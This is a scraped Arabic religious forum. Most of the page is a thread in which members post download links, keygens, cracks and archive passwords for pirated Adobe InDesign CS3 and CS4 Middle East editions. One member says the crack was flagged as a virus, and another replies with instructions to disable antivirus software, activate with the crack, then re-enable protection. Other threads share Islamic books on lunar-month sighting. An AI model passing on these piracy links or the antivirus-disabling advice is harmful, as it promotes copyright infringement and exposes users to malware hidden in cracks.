ـ[منير الجزائري]ــــــــ[25 - 01 - 09, 03:25 ص]ـ
بارك الله فيكم وفي جهودكم
ـ[أبو ذر الفاضلي]ــــــــ[26 - 01 - 09, 02:56 ص]ـ
بارك الله فيكم(61/411)
[للتحميل] التاريخ العلمي لجامعة القرويين ( word)
ـ[خلدون الجزائري]ــــــــ[05 - 10 - 08, 02:40 ص]ـ
التاريخ العلمي لجامعة القرويين
الحسن السائح
تقديم: الدكتور عبد العزيز بن عثمان التويجري
المدير العام للمنظمة الإسلامية للتربية والعلوم والثقافة
التحميل: من هنا ( http://www.abhatoo.net.ma/index.php/fre/*******/download/3167/34111/file/ أکآ% A7 أ™آ„أکآھأکآ% A7 أکآ% B1 أ™آSأکآ% AE%20 أکآ% A7 أ™آ„أ کآ% B9 أ™آ„أ™آ…أ™آS%20%20أ™آ„أکآ% AC أکآ% A7 أ™آ…أکآ% B9 أ کآ% A9%20 أکآ% A7 أ™آ„أ™آ‚أکآ% B1 أ™آˆأ™آSأ™آSأ™آ†. doc) مباشر، أو من المرفقات(61/412)
روابط برنامج Adobe in Design المستخدم في صف الكتب
ـ[أبو سعد المصري]ــــــــ[05 - 10 - 08, 03:31 ص]ـ
وجدت هذه الروابط على أحد المواقع، وأحببت أن أشارك بها بقية أعضاء الملتقى.
البرنامج هو النسخة المستخدمة في الشرق الأوسط، وتدعم اللغة العربية.
لست من مستخدمي هذا البرنامج، ولكني لاحظت أن بعض الإخوة يسألون عنه باستمرار، خاصة أن سعره مرتفع جدًا. وهذه هي الروابط مع الكراك
برنامج Adobe In Design CS3 ME
كلمة فك الضعط: www.klamaraby.com (http://www.klamaraby.com)
http://rapidshare.com/files/134121233/Adobe.InDesign.CS3.ME.part01.rar
http://rapidshare.com/files/134120433/Adobe.InDesign.CS3.ME.part02.rar
http://rapidshare.com/files/134120467/Adobe.InDesign.CS3.ME.part03.rar
http://rapidshare.com/files/134120533/Adobe.InDesign.CS3.ME.part04.rar
http://rapidshare.com/files/134120466/Adobe.InDesign.CS3.ME.part05.rar
http://rapidshare.com/files/134121286/Adobe.InDesign.CS3.ME.part06.rar
http://rapidshare.com/files/134120475/Adobe.InDesign.CS3.ME.part07.rar
http://rapidshare.com/files/134120701/Adobe.InDesign.CS3.ME.part08.rar
والكراك
http://rapidshare.com/files/134124993/Adobe_InDesign_CS3_Keygen.rar
ـ[أبو عثمان_1]ــــــــ[05 - 10 - 08, 04:02 ص]ـ
بارك الله فيك أخي الحبيب
ممكن ترفعه على هذا الموقع فإنه أيسر في التحميل
http://www.4shared.com
ـ[ماجد المسلم]ــــــــ[05 - 10 - 08, 09:52 ص]ـ
السلام عليكم ...
أحد الاخوة يتفضل علينا بشرح مصور جزاكم الله خيراً
ـ[حسام الدين قاسم]ــــــــ[05 - 10 - 08, 12:48 م]ـ
جزاكم الله خيرا أخي الكريم
ـ[أبو سعيد السلفي]ــــــــ[05 - 10 - 08, 02:06 م]ـ
من استعمل هذا البرنامج يوضح لنا النتائج ومدى عمليته في الكتابة وله الشكر
ـ[ماجد المسلم]ــــــــ[05 - 10 - 08, 10:10 م]ـ
السلام عليكم ...
أحد الاخوة يتفضل علينا بشرح مصور جزاكم الله خيراً
أفيدونا بارك الله فيكم
ـ[أبو يوسف السلفى]ــــــــ[07 - 10 - 08, 03:33 م]ـ
وهذه روابط أخرى منقولة:
http://www.zshare.net/download/31055057de6e6a
http://www.zshare.net/download/31063790d2b1bf
http://www.zshare.net/download/3112311c063dbf
http://www.zshare.net/download/31129575c77329
http://www.zshare.net/download/3113776b7dfbef
http://www.zshare.net/download/310640551a6a36
ـــــــــــــــــــــــــــــــــــــ
Filesend.net
http://www.filesend.net/download.php?f=43e4167960b4c350d58dd78ab3ed8e2c
http://www.filesend.net/download.php?f=58dc07331c856ed05bbe44c3e837bd26
http://www.filesend.net/download.php?f=6f82bc6eefc74eaf8ee8e435c2703f92
http://www.filesend.net/download.php?f=bfdc49328971c18351d332fa2e7847d0
http://www.filesend.net/download.php?f=ea3d8ecab1963d485f3e4d34135185d6
http://www.filesend.net/download.php?f=194703ec90a01334bb52638995d7558d
ــــــــــــــــــــــــــــــــــــــــــــ
Mihd.net
http://mihd.net/4vcmwu
http://mihd.net/jgleny
http://mihd.net/dg56ub
http://mihd.net/go4fr0
http://mihd.net/xz2o15
http://mihd.net/87oazu
ـــــــــــــــــــــــــــــــــــــــــ
Sendspace.com
http://www.sendspace.com/file/1pet8o
http://www.sendspace.com/file/xc8llo
http://www.sendspace.com/file/0joak0
http://www.sendspace.com/file/0lbfpf
http://www.sendspace.com/file/eyq9vi
http://www.sendspace.com/file/n28meb
ـــــــــــــــــــــــــــــــــــ
Bestsharing.com
http://www.bestsharing.com/files/4Aa61EW319417/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part1.rar.html
http://www.bestsharing.com/files/ieah8y319418/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part2.rar.html
http://www.bestsharing.com/files/TG6mQL319420/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part3.rar.html
http://www.bestsharing.com/files/xP1GqA319419/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part4.rar.html
http://www.bestsharing.com/files/V46EN319422/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part5.rar.html
http://www.bestsharing.com/files/QwA3QEr319421/adoindecs3me.www.bramjnet.com.wind0ws_seven-Mo3adz.part6.rar.html
ــــــــــــــــــــــــــــــــــــ
Rapidshare.com
http://rapidshare.com/files/48804127/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part1.rar
http://rapidshare.com/files/48804302/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part2.rar
http://rapidshare.com/files/48804441/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part3.rar
http://rapidshare.com/files/48804467/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part4.rar
http://rapidshare.com/files/48804682/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part5.rar
http://rapidshare.com/files/48804454/adoindecs3me.www.bramjnet.com.wind0ws_seven-mo3adz.part6.rar
_______________
(http://rapidshare.com/files/48700585...en.part6)
(يُتْبَع .. اقلب الصفحة)
(61/413)
ـ[أبو يوسف السلفى]ــــــــ[07 - 10 - 08, 03:40 م]ـ
وهذا:
الكيجن لتوليد مفتاح التسجيل
http://www.zshare.net/download/424808417f846a/
ـ[ماجد المسلم]ــــــــ[07 - 10 - 08, 04:59 م]ـ
للمرة الثالثة اسألكم اخواني
هل من شرح للبرنامج؟؟
أو
تخبرونا كيف يمكننا الإستفادة منه في تصوير وتنسيق الكتب
ـ[القاسم]ــــــــ[08 - 10 - 08, 05:50 م]ـ
الإخوة الأفاضل الكراك المرفق به فايرس، تعرف عليه مكافي ولا يعطي إمكانية تنظيفه
أرجو إعادة رفعه بعد التظيف أو كراك بديل وشكرا
ـ[أبو يوسف السلفى]ــــــــ[08 - 10 - 08, 06:40 م]ـ
الكراك ليس به فيرس
ولكن في العادة جميع برامج الفيروسات ترى الكراك فيرس لسببٍ ما
وأنت بهذه الطريقة لن تستطيع أن تفعل أي برنامج
فكل كراك ينزل عندك سوف يتعرف عليه مضاد الفيروسات على أنه فيرس
وقد حصل معي ذلك في أكثر من برنامج
والحل:
أوقف عمل مضاد الفيروسات حتى تنزل الكراك
ثم فك الضغط عنه وسطب البرنامج وفعله بالكراك
ثم أحذف الكراك المفكوك وأحتفظ بالكراك المضغوط لتستخدمه عند الحاجة
ثم أعد مضاد الفيروسات للعمل من جديد
وهذا ما أفعله أنا
ـ[القاسم]ــــــــ[09 - 10 - 08, 12:23 ص]ـ
أخي المفضال السلفي
يبدو أن باسورد الملفات المضغوطة www.klamaraby.com غير صحيح؛ لقد أدخلته عشرات المرات ولكن دون جدوى
أرجو مراجعته والرد علينا
وجزاك الله خيرا
ـ[أبو سعد المصري]ــــــــ[09 - 10 - 08, 01:55 ص]ـ
يا أخي، كلمة المرور سليمة، وقد استخدمتها بنفسي ونجحت.
حاول أن تنسخها ثم تقوم بلصقها في برنامج فك الضغط.
ـ[أبو يوسف السلفى]ــــــــ[09 - 10 - 08, 05:46 ص]ـ
أخي المفضال السلفي
يبدو أن باسورد الملفات المضغوطة www.klamaraby.com (http://www.klamaraby.com) غير صحيح؛ لقد أدخلته عشرات المرات ولكن دون جدوى
أرجو مراجعته والرد علينا
وجزاك الله خيرا
الروابط التي وضعتها أنا لا يحتاج فكها لباسوورد
ـ[الاستاذ]ــــــــ[12 - 10 - 08, 03:44 ص]ـ
اين الباس ورد؟
ـ[أبو سعد المصري]ــــــــ[12 - 10 - 08, 12:43 م]ـ
برنامج Adobe In Design CS3 ME
باسورد فك الضعط: www.klamaraby.com (http://www.klamaraby.com/)
ـ[الطيماوي]ــــــــ[12 - 10 - 08, 01:43 م]ـ
هل من شرح له ولطريقة استخدامه وبارك الله فيكم
ـ[أبو المظفر السِّنَّاري]ــــــــ[13 - 10 - 08, 01:00 ص]ـ
للمرة الثالثة اسألكم اخواني
هل من شرح للبرنامج؟؟
أو
تخبرونا كيف يمكننا الإستفادة منه في تصوير وتنسيق الكتب
وجزاكم الله خيرًا.
ـ[الاستاذ]ــــــــ[13 - 10 - 08, 10:34 ص]ـ
الروابط التي وضعتها أنا لا يحتاج فكها لباسوورد
نحتاج لحل لفك الملفات!!!
ـ[أبو البركات بن أبي عامر]ــــــــ[13 - 10 - 08, 03:54 م]ـ
الحمد لله وجدت لكم كتاب يشرح البرنامج وآسف لعدم نقله هنا لضيق الوقت
http://www.salahmera.com/vb/showthread.php?p=1695#post1695
ـ[ saead] ــــــــ[13 - 10 - 08, 04:11 م]ـ
ها هو الكتاب
ـ[أبو يوسف السلفى]ــــــــ[13 - 10 - 08, 06:21 م]ـ
ها هو الكتاب
وهذه هي كلمة السر التي يفتح بها الكتاب: reesha
ـ[أبو يوسف السلفى]ــــــــ[13 - 10 - 08, 06:24 م]ـ
هذا هو باس وورد فك ملفات البرنامج
www.bramjnet.com
جزاك الله خيراً
الواضح أني لم أنتبه لوجود كلمة سر لملفات الضغط
وللتنبيه: هذه كلمة السر للروابط التي نقلتها في مشاركة سابقة
ـ[الاستاذ]ــــــــ[13 - 10 - 08, 10:42 م]ـ
الكتاب يحتاج لتسجيل في الموقع , فهلا حملته ووضعته لنا هنا.
ـ[أبو سعد المصري]ــــــــ[14 - 10 - 08, 11:07 ص]ـ
الأخ Saead وضعه في المرفقات.
انظر مشاركته.
ـ[محمد بن علي المصري]ــــــــ[15 - 10 - 08, 03:08 م]ـ
بارك الله فيكم
ما زالت مشكلة كلمة السر قائمة ... حملت من موقع Mihd.net الروابط التي نقلها الأخ أبو يوسف السلفي وذلك بعد معاناة مع المواقع التي لا تكمل التحميل ... ثم معانة أخرى مع المواقع التي أزالت بعض الملفات ... وحيث إن الملفات مختلفة فقد اضطررت إلى إعادة التحميل من جديد .. وهذا الموقع Mihd.net هو أفضلها وهو يدعم استكمال التحميل ... ونزلت الملفات كاملة بحجمها المذكور .. لكن الباسوورد الذي ذكره الأخ أبا يوسف وهو http://www.bramjnet.com/ لم يعمل ... فأرجو التكرم من حل هذه المشكلة بارك الله فيكم
ـ[أبو يوسف السلفى]ــــــــ[15 - 10 - 08, 03:24 م]ـ
بارك الله فيكم
ما زالت مشكلة كلمة السر قائمة ... حملت من موقع Mihd.net الروابط التي نقلها الأخ أبو يوسف السلفي وذلك بعد معاناة مع المواقع التي لا تكمل التحميل ... ثم معانة أخرى مع المواقع التي أزالت بعض الملفات ... وحيث إن الملفات مختلفة فقد اضطررت إلى إعادة التحميل من جديد .. وهذا الموقع Mihd.net هو أفضلها وهو يدعم استكمال التحميل ... ونزلت الملفات كاملة بحجمها المذكور .. لكن الباسوورد الذي ذكره الأخ أبا يوسف وهو http://www.bramjnet.com/ لم يعمل ... فأرجو التكرم من حل هذه المشكلة بارك الله فيكم
لاحظ أن الباسوورد هي:
www.bramjnet.com (http://www.bramjnet.com/)
وليست:
http://www.bramjnet.com/
(يُتْبَع .. اقلب الصفحة)
(61/414)
ـ[محمد بن علي المصري]ــــــــ[15 - 10 - 08, 03:57 م]ـ
بارك الله فيك يا أبا يوسف ... أنا كنت آخذ منها نسخة بالماوس ثم أقوم بلصقها فكانت النتيجة ما علمتَ، فتنبهت الآن إلى أن أقوم إما بتظليل الجملة كاملة أو كتابتها لأنه عند أخذ نسخة منها يقوم الجهاز بإضافة تلقائية للرمز http ... الآن أفلحت العملية .. جزيت خيرا
ـ[عبد الرحمن السني]ــــــــ[15 - 10 - 08, 07:16 م]ـ
مكتبنا بفضل الله يقوم بصف وتنسيق الكتب والرسائل العلمية على البرنامج الرائع Adobe Indesign بكل احتراف، وقد فتحت موضوع من قبل في منتدى شؤون الكتب والمطبوعات بخصوص الجواب على أسئلة الإخوة في هذا البرنامج ومازال موجودا، وبعض الإخوة طلبوا مني شرحه وكنت بدأت في ذلك بطريقة الفيديو لكن للأسف شغلت في العمل كثيرا، وإن شاء الله المكتب مستعد لتنسيق أي كتب مطلوبة على البرنامج بأسعار مخفضة إن شاء الله ...
ـ[عبد الرحمن السني]ــــــــ[17 - 10 - 08, 05:18 ص]ـ
البرنامج به خاصية الفهرسة الآلية والترتيب الأبجدي وكذلك يمكنه جعل الحواشي في عمودين مما يقلص حجم الكتب خصوصا ذات الحواشي الكثيرة.
ـ[عبد الرحمن السني]ــــــــ[29 - 03 - 09, 07:12 م]ـ
هذا الموضوع تناول الإصدار CS3 علما بأن CS4 خرج من عدة أشهر في حلة جديدة بعد إنضمام برنامج Tasmeem إليه فأصبح يحوي عدة خطوط جديدة مثل الخط الأميري وخط البسام وخط النسخ (هذا غير خط النسخ المعروف) إضافة إلى وجود علامات الرسم العثماني بالبرنامج مثل (صلي - قلي - ج - لا) وغيرها. إضافة إلى القدرة على التحكم في المحارف مما يعطي أحيانا مئات الأشكال للكلمة الواحدة.
ـ[أبو عبد الله السني]ــــــــ[30 - 03 - 09, 12:23 ص]ـ
السلام عليكم
إخواني لم أنجح بالتحميل من أي من المواقع المذكورة أعلاه.
هلا تفضل علينا أخ مبارك برفعه على رابط نستطيع التحميل منه.؟.
ـ[عبد الرحمن السني]ــــــــ[31 - 03 - 09, 08:04 م]ـ
هذا رابط تحميل InDesign CS3 ME النسخة الداعمة للغة العربية، وهو عن الطريق التورنت ومعه برنامج التحميل utorrent.
ـ[عبد الرحمن السني]ــــــــ[02 - 04 - 09, 05:46 ص]ـ
هل استطاع الإخوة أن يحملوا باستخدام الروابط السابقة؟؟
ـ[عمرو فهمي]ــــــــ[02 - 04 - 09, 03:00 م]ـ
هل استطاع الإخوة أن يحملوا باستخدام الروابط السابقة؟؟
التحميل جارٍ، جزاكم الله خيرا
ـ[عمرو فهمي]ــــــــ[02 - 04 - 09, 04:25 م]ـ
التحميل توقف عند 99.6%!!!
ـ[عبد الرحمن السني]ــــــــ[03 - 04 - 09, 03:55 ص]ـ
كيف ذلك!!! سبحان الله، عموما سوف أرفع النسخة الخاصة بي وأضعها هنا إن شاء الله.
ـ[أبو عبد الله السني]ــــــــ[06 - 04 - 09, 01:24 ص]ـ
البرنامج به خاصية الفهرسة الآلية والترتيب الأبجدي وكذلك يمكنه جعل الحواشي في عمودين مما يقلص حجم الكتب خصوصا ذات الحواشي الكثيرة.
هل يمكن أخي أن تشرح لي كيف تجعل الحواشي في عمودين؟؟ وأكون شاكراً لك.
ـ[حمود بن يحيى]ــــــــ[06 - 04 - 09, 08:55 ص]ـ
Adobe InDesign CS4 6.0
للتحميل \ التنزيل
من الرابد شير
http://rapidshare.com/files/15767066...Pack.part1.rar
http://rapidshare.com/files/15768073...Pack.part2.rar
http://rapidshare.com/files/15769000...Pack.part3.rar
http://rapidshare.com/files/15770026...Pack.part4.rar
http://rapidshare.com/files/15771000...Pack.part5.rar
http://rapidshare.com/files/15771925...Pack.part6.rar
http://rapidshare.com/files/15772933...Pack.part7.rar
او من الايزي شير
http://w14.easy-share.com/1702186270.html
http://w14.easy-share.com/1702186271.html
http://w14.easy-share.com/1702186256.html
http://w14.easy-share.com/1702186257.html
http://w14.easy-share.com/1702186261.html
http://w14.easy-share.com/1702186255.html
http://w14.easy-share.com/1702186252.html
باسورد فك الضغط
www.amman-dj.com
منقول
ـ[حمود بن يحيى]ــــــــ[06 - 04 - 09, 09:05 ص]ـ
نسخة الشرق الأوسط:
النسخة النهائية من برنامج Adobe InDesign CS4 ME نسخة الشرق الأوسط
مع الكراك الفعال .. والآمن .. والخالي من الفيروسات
فقط قم باستبدال الملف .. بعد تحميل البرنامج وتشغيله على أنه نسخة تجريبية ..
لن أطيل عليكم ..
http://rapidshare.com/files/169905078/AdobeInDesignCS4ME.part01.rar
http://rapidshare.com/files/169910943/AdobeInDesignCS4ME.part02.rar
http://rapidshare.com/files/169916978/AdobeInDesignCS4ME.part03.rar
http://rapidshare.com/files/169922840/AdobeInDesignCS4ME.part04.rar
http://rapidshare.com/files/169928540/AdobeInDesignCS4ME.part05.rar
http://rapidshare.com/files/169934613/AdobeInDesignCS4ME.part06.rar
http://rapidshare.com/files/169937763/AdobeInDesignCS4ME.part07.rar
رابط الكراك وحده:
http://www.mediafire.com/?ijnxjan3zng
بعد التجربة .. تبين أن الكراك المرفق ينفع مع الفوتوشوب cs4 والاليستريتور cs4 العربي
وكلا البرنامجين يمكن تنزيلهما من موقع www.winsoft.eu (http://www.winsoft.eu/)
منقول أيضًا ...
قال حمود بن يحيى: للأسف الكراك فشل مع البرنامج كما قال بعض الإخوة من المنتدى الذي نقلته منه ..
(يُتْبَع .. اقلب الصفحة)
(61/415)
ـ[عبد الرحمن السني]ــــــــ[06 - 04 - 09, 10:34 ص]ـ
الإخوة الأفاضل، حياكم الله جميعا، أنا حاليا أرفع InDesign CS3 من جهازي ولكن اعذروني السرعة عندي ليست سريعة جدا ولكنه أوشك على الانتهاء إن شاء الله وبعدها سأطرحه هنا، وبالنسبة للإصدار CS4 الذي عرضه الإخوة لتوهم فلا أنصح به إلا للمتتخصصين وذلك لأسباب:
1) CS4 يحتاج مواصفات عالية للأجهزة.
2) حتى بعد المواصفات عالية يبقى البرنامج ثقيلا ثقل الفيل ويحتاج صبرا.
3) الفرق بينه وبين CS3 ليس كبيرا، وأنا شخصيا من خلال عملي أرى أنه إلى الآن الإصدار CS3 هو الإصدار المثالي.
4) CS4 لم يصدر له كراك حتى الآن وكل المحاولات باءت بالفشل إلا محاولة واحدة باستخدام برنامج يوقف ساعة البرنامج ولكن الطريقة تفشل أحيانا عند تنصيب إصدار آخر من البرنامج أو أي من مجموعة Adobe، - يعني من الآخر وجع دماغ-.
وإن شاء الله لعل البرنامج يتم رفعه ليلا وسأضعه هنا مباشرة إن شاء الله.
وبالنسبى لأخي أبي عبد الله السني فقد طلب طريقة جعل الحواشي في عمودين وهاهي هي بشرحي فيديو بالأسفل، ولك مني تحية:
http://www.4shared.com/file/95639881/41b18b98/footnotes.html
ـ[عبد الرحمن السني]ــــــــ[07 - 04 - 09, 03:20 م]ـ
أعتذر للإخوة عن عدم رفع البرنامج لحدوث مشكلة عندي، ولكن هذا رابط صفحة بها البرنامج وهي روابط قوية لمنتدى محترم الروابط مرفوعة على الموقع:
http://www.w-enter.com/forum/showthread.php?t=20783
ـ[كاتب]ــــــــ[07 - 04 - 09, 03:48 م]ـ
نسخة الشرق الأوسط:
النسخة النهائية من برنامج Adobe InDesign CS4 ME نسخة الشرق الأوسط
مع الكراك الفعال .. والآمن .. والخالي من الفيروسات
فقط قم باستبدال الملف .. بعد تحميل البرنامج وتشغيله على أنه نسخة تجريبية ..
لن أطيل عليكم ..
http://rapidshare.com/files/169905078/AdobeInDesignCS4ME.part01.rar
http://rapidshare.com/files/169910943/AdobeInDesignCS4ME.part02.rar
http://rapidshare.com/files/169916978/AdobeInDesignCS4ME.part03.rar
http://rapidshare.com/files/169922840/AdobeInDesignCS4ME.part04.rar
http://rapidshare.com/files/169928540/AdobeInDesignCS4ME.part05.rar
http://rapidshare.com/files/169934613/AdobeInDesignCS4ME.part06.rar
http://rapidshare.com/files/169937763/AdobeInDesignCS4ME.part07.rar
رابط الكراك وحده:
http://www.mediafire.com/?ijnxjan3zng
بعد التجربة .. تبين أن الكراك المرفق ينفع مع الفوتوشوب cs4 والاليستريتور cs4 العربي
وكلا البرنامجين يمكن تنزيلهما من موقع www.winsoft.eu (http://www.winsoft.eu/)
منقول أيضًا ...
قال حمود بن يحيى: للأسف الكراك فشل مع البرنامج كما قال بعض الإخوة من المنتدى الذي نقلته منه ..
Error
The uploader has removed this file from the server.
ـ[عبد الرحمن السني]ــــــــ[09 - 04 - 09, 01:49 ص]ـ
هل أفلح هذا الرابط مع الإخوة؟
http://www.w-enter.com/forum/showthread.php?t=20783
ـ[أبو أروى الدرعمي]ــــــــ[17 - 06 - 10, 08:19 م]ـ
البرنامج نزل باللغة الإنجليزية،فكيف يُعرَّب البرنامج؟
ـ[أبو أروى الدرعمي]ــــــــ[17 - 06 - 10, 08:47 م]ـ
البرنامج نزل باللغة الإنجليزية،فكيف يُعرَّب البرنامج؟
إن كان منه نسخة عربية أصلاً؟
ـ[أبو مالك الأثري السلفي]ــــــــ[17 - 06 - 10, 08:54 م]ـ
تفضلوا:
Adobe InDesign CS4 Middle Eastern Arabic العربي برابط واحد مباشر يدعم الاستكمال ( http://www.ahlalhdeeth.com/vb/showthread.php?t=214474)(61/416)
بحث "حكم إثبات أول الشهر القمري وتوحيد الرؤية" للعلامة بكر أبو زيد للشاملة
ـ[الدسوقي]ــــــــ[05 - 10 - 08, 03:39 ص]ـ
بحث "حكم إثبات أول الشهر القمري وتوحيد الرؤية" للعلامة بكر أبو زيد للشاملة:
... وفيه بيان واضح لبطلان الحساب الفلكي، ومنابذته للشرع.
وهذا فهرسه:
... المجمع الفقهي رأى في دورته الثانية المنعقدة في مدينة جدة عام 1405هـ بحث مسألتين تتعلقان بأول الشهر القمري:
المسألة الأولى: في حكم إثباته بالحساب.
المسألة الثانية: في حكم توحيد الرؤية.
وقد أدرت البحث في المسألة الأولى على ما يلي:
المبحث الأول: في سياق النصوص.
المبحث الثاني: في فقهها.
المبحث الثالث: إجماع المسلمين على موجبها.
المبحث الرابع: تفنيد الخلاف الحادث في هذه المسألة.
المبحث الخامس: أدلة الخلاف الحادث.
المبحث السادس: في نقضها.
المبحث السابع: في ظنية الحساب.
المبحث الثامن: في منابذته للشرع.
وانظر:
كتاب بطلان العمل بالحساب الفلكي في الصوم والإفطار، وبيان ما فيه من مفاسد،
ووجوب العمل بالرؤية الشرعية الثابتة عن خير البرية صلى الله عليه وسلم، من ثلاثين وجهًا.
http://www.ahlalhdeeth.com/vb/showthread.php?t=147315
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.(61/417)
حمل "حكم إثبات أول الشهر القمري وتوحيد الرؤية" للعلامة بكر أبو زيد للشاملة
ـ[الدسوقي]ــــــــ[05 - 10 - 08, 03:46 ص]ـ
حمل "حكم إثبات أول الشهر القمري بالحساب الفلكي وحكم توحيد الرؤية" للعلامة بكر أبو زيد للشاملة:
وفيه إثبات خطأ الحسابات الفلكية، ومنابذتها للشرع.
... وهذا فهرسه:
المجمع رأى في دورته الثانية المنعقدة في مدينة جدة عام 1405هـ بحث مسألتين تتعلقان بأول الشهر القمري:
المسألة الأولى: في حكم إثباته بالحساب.
المسألة الثانية: في حكم توحيد الرؤية.
وقد أدرت البحث في المسألة الأولى على ما يلي:
المبحث الأول: في سياق النصوص.
المبحث الثاني: في فقهها.
المبحث الثالث: إجماع المسلمين على موجبها.
المبحث الرابع: تفنيد الخلاف الحادث في هذه المسألة.
المبحث الخامس: أدلة الخلاف الحادث.
المبحث السادس: في نقضها.
المبحث السابع: في ظنية الحساب.
المبحث الثامن: في منابذته للشرع.
... وانظر:
كتاب بطلان العمل بالحساب الفلكي في الصوم والإفطار، وبيان ما فيه من مفاسد،
ووجوب العمل بالرؤية الشرعية الثابتة عن خير البرية صلى الله عليه وسلم، من ثلاثين وجهًا.
http://www.ahlalhdeeth.com/vb/showthread.php?t=147315
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.
ـ[ميهوب بوعلام]ــــــــ[05 - 10 - 08, 10:21 ص]ـ
بارك الله فيك الأخ الدسوقي وجزاك خيرا.
ـ[الدسوقي]ــــــــ[06 - 10 - 08, 01:06 ص]ـ
بارك الله فيك أخي ميهوب، وجزاك خيرا.
ـ[الدسوقي]ــــــــ[17 - 10 - 08, 12:21 ص]ـ
... وينظر:
" قواطع الأدلة في الرد على من عول على الحساب في الأهلة "
للشيخ العلامة حمود بن عبد الله التويجري رحمه الله تعالى
وحمله للشاملة وورد.
وفيه إبطال الحساب الفلكي في الصوم والإفطار، وبيان ما فيه من أضرار.
و منها:
" أولها: الابتداع في الدين والشرع فيه بما لم يأذن به الله.
الثاني: مخالفة النصوص الثابتة عن النبي -صلى الله عليه وسلم- في اعتبار دخول الشهر وخروجه برؤية الهلال أو إتمام العدة ثلاثين يوماً إذا لم ير الهلال.
الثالث: الأخذ بما نفاه رسول الله -صلى الله عليه وسلم- عن أمته من العمل بالحساب في دخول الشهر وخروجه.
الرابع: مخالفة السنة الثابتة عن النبى -صلى الله عليه وسلم- في قبول شهادة العدول من المسلمين على رؤية الهلال في دخول شهر رمضان وخروجه والعمل بها".
وغيرها كثير، وجمع أحاديث الهلال (17 حديثا) وتكلم على فقهها.
http://www.ahlalhdeeth.com/vb/showthread.php?t=150076
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
وسبحانك اللهم وبحمدك أشهد ألا إله إلا أنت أستغفرك وأتوب إليك.
ـ[الدسوقي]ــــــــ[20 - 08 - 09, 09:03 ص]ـ
للرفع والتذكير، فإن الذكرى تنفع المؤمنين.
... وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
ـ[الدسوقي]ــــــــ[22 - 09 - 09, 02:36 ص]ـ
... صدق رَسُولُ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ:
" لَا تَصُومُوا حَتَّى تَرَوْا الْهِلَالَ وَلَا تُفْطِرُوا حَتَّى تَرَوْهُ فَإِنْ غُمَّ عَلَيْكُمْ فَأَكْمِلُوا الْعِدَّةَ ثَلَاثِينَ ".
... وينظر: كتابُ بُطلانِ العملِ بالحسابِ الفلكيِّ في الصومِ والإفطارِ، وبيانِ ما فيه مِنْ مفاسدَ، ووجوبِ العملِ بالرؤيةِ الشرعيةِ الثابتةِ عن خيرِ البريَّةِ _ صلى الله عليه وسلم _ من أربعينَ وجهًا. [النشرة: الثالثة - مزيدة ومنقحة - رمضان 1430 هـ].
http://www.ahlalhdeeth.com/vb/showthread.php?t=185759
ـ[الدسوقي]ــــــــ[28 - 07 - 10, 08:03 ص]ـ
للرفع، لقرب رمضان.
وصلى الله على نبينا محمد وعلى آله وصحبه وسلم.
ـ[علي السلوم]ــــــــ[28 - 07 - 10, 02:59 م]ـ
جزاك الله خيرا ونفع بك
وهل عندك بارك الله فيك ذيل الصواعق كاملا غير الموجود على النت؟ لأن الموجود فيه سقط ما يقارب 70 صفحة.
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 02:39 ص]ـ
ذيل الصواعق
http://www.al-mostafa.info/data/arabic/depot/gap.php?file=m011682.pdf
http://makhtota.ksu.edu.sa/makhtota/5850/1
اسم الكتاب: ذيل الصواعق المحرقه
اسم المؤلف: ابن حجر الهيتمي
ـ[مهاجي جمال]ــــــــ[29 - 07 - 10, 02:57 ص]ـ
جزاكم الله خيراً عميماً
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 03:00 ص]ـ
وجزاك الله خيراً، وبارك الله فيك، وجمعنا وإياك في الفردوس الأعلى من الجنة.
ـ[علي السلوم]ــــــــ[29 - 07 - 10, 04:14 ص]ـ
جزاك الله خيرا لكن أقصد الصواعق الشديدة على أتباع الهيئة الجديدة للشيخ حمود هو موجود على النت لكن ناقص من ص 123 إلى 191 تقريبا
شكر لك تجاوبك
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 02:25 م]ـ
ذيل الصواعق لمحو الأباطيل والمخارق
تاليف الشيخ العلامة حمود بن عبد الله التويجري الحنبلي / ت 1413 هـ
طبع الطبعة الاولى 1390 هـ في 367 صفحة
كاملا
http://ia331403.us.archive.org/1/items/dail_sawaiik_twijri/dail_sawaiik_twijri.pdf
(يُتْبَع .. اقلب الصفحة)
(61/418)
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 04:19 م]ـ
الصواعق الشديدة على أتباع الهيئة الجديدة للشيخ حمود (كاملا)
http://ia331433.us.archive.org/0/items/sawaiik_chadida_twijri/sawaiik_chadida_twijri.pdf
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 04:21 م]ـ
تحذير الأمة الإسلامية من المحدثات التي دعت إليها ندوة الأهلة الكويتية
http://ia331402.us.archive.org/1/items/tahdir_umma_twijri/tahdir_umma_twijri.pdf
ـ[علي السلوم]ــــــــ[29 - 07 - 10, 04:30 م]ـ
الصواعق الشديدة على أتباع الهيئة الجديدة للشيخ حمود (كاملا)
http://ia331433.us.archive.org/0/items/sawaiik_chadida_twijri/sawaiik_chadida_twijri.pdf
بارك الله فيك، لكن لا يزال النقص موجودا 129 إلى 192
شاكرا لك تجاوبك السريع
فتح الله عليك ونفع بك
ـ[الدسوقي]ــــــــ[29 - 07 - 10, 05:07 م]ـ
الصفحات من 129 - 192 موجودة في النسخة والكلام متصل، والله أعلم.
